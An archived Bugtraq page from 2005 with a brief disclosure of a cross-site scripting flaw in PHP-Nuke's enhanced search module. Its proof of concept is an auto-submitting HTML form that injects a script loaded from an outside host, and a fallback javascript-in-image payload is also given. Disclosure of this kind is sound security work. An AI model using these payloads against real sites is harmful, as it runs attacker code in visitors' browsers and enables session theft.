Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Bugtraq
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

PHP-Nuke Cross-Site Scripting Vulnerability

from [bhfh01] Network Security [Permanent Link]
Subject: PHP-Nuke Cross-Site Scripting Vulnerability
Date: 25 Oct 2005 19:03:10 -0000 
i am sorry but i had a little problem with my 
old e-mail address , my new one is bhfh01@gmail.com 

the mail:

PHP-Nuke 
Search Cross-Site Scripting Vulnerability

Vulnerable: i think all ver.
data:2005-09-5

The search field at modules.php?name=Search_Enhanced is vulnerable to html 
injection attacks.

exploit :

#open_me.htm ::

<html>
<form name=searchform method=post 
action=http://[target]/modules.php?name=Search_Enhanced>
<input type="text" name="query" size="15" value='<script 
src=http://[location]/js.js></script>'>
<input type=submit name=sub>
<script>document.searchform.sub.click()</script>
</html>

Note: the chars ' and " are not allowd in that search.


If the '<script>' tag isnt allowed , try to search the value: <img 
src=javascript:alert(&quot;xss-here&quot;)> ...


thanks , B~HFH.
bhfh01@gmail.com
[More with this subject...]




<Prev in Thread] Current Thread [Next in Thread>
  • PHP-Nuke Cross-Site Scripting Vulnerability, bhfh01 <=
Previous by Date:  MDKSA-2005:196 - Updated perl-Compress-Zlib packages fix vulnerabilities, Mandriva Security Team
Next by Date:  MDKSA-2005:199 - Updated netpbm packages fix pnmtopng vulnerabilities, Mandriva Security Team
Previous by Thread:  MDKSA-2005:196 - Updated perl-Compress-Zlib packages fix vulnerabilities, Mandriva Security Team
Next by Thread:  MDKSA-2005:199 - Updated netpbm packages fix pnmtopng vulnerabilities, Mandriva Security Team
Indexes:  [Date] [Thread] [Top] [All Lists]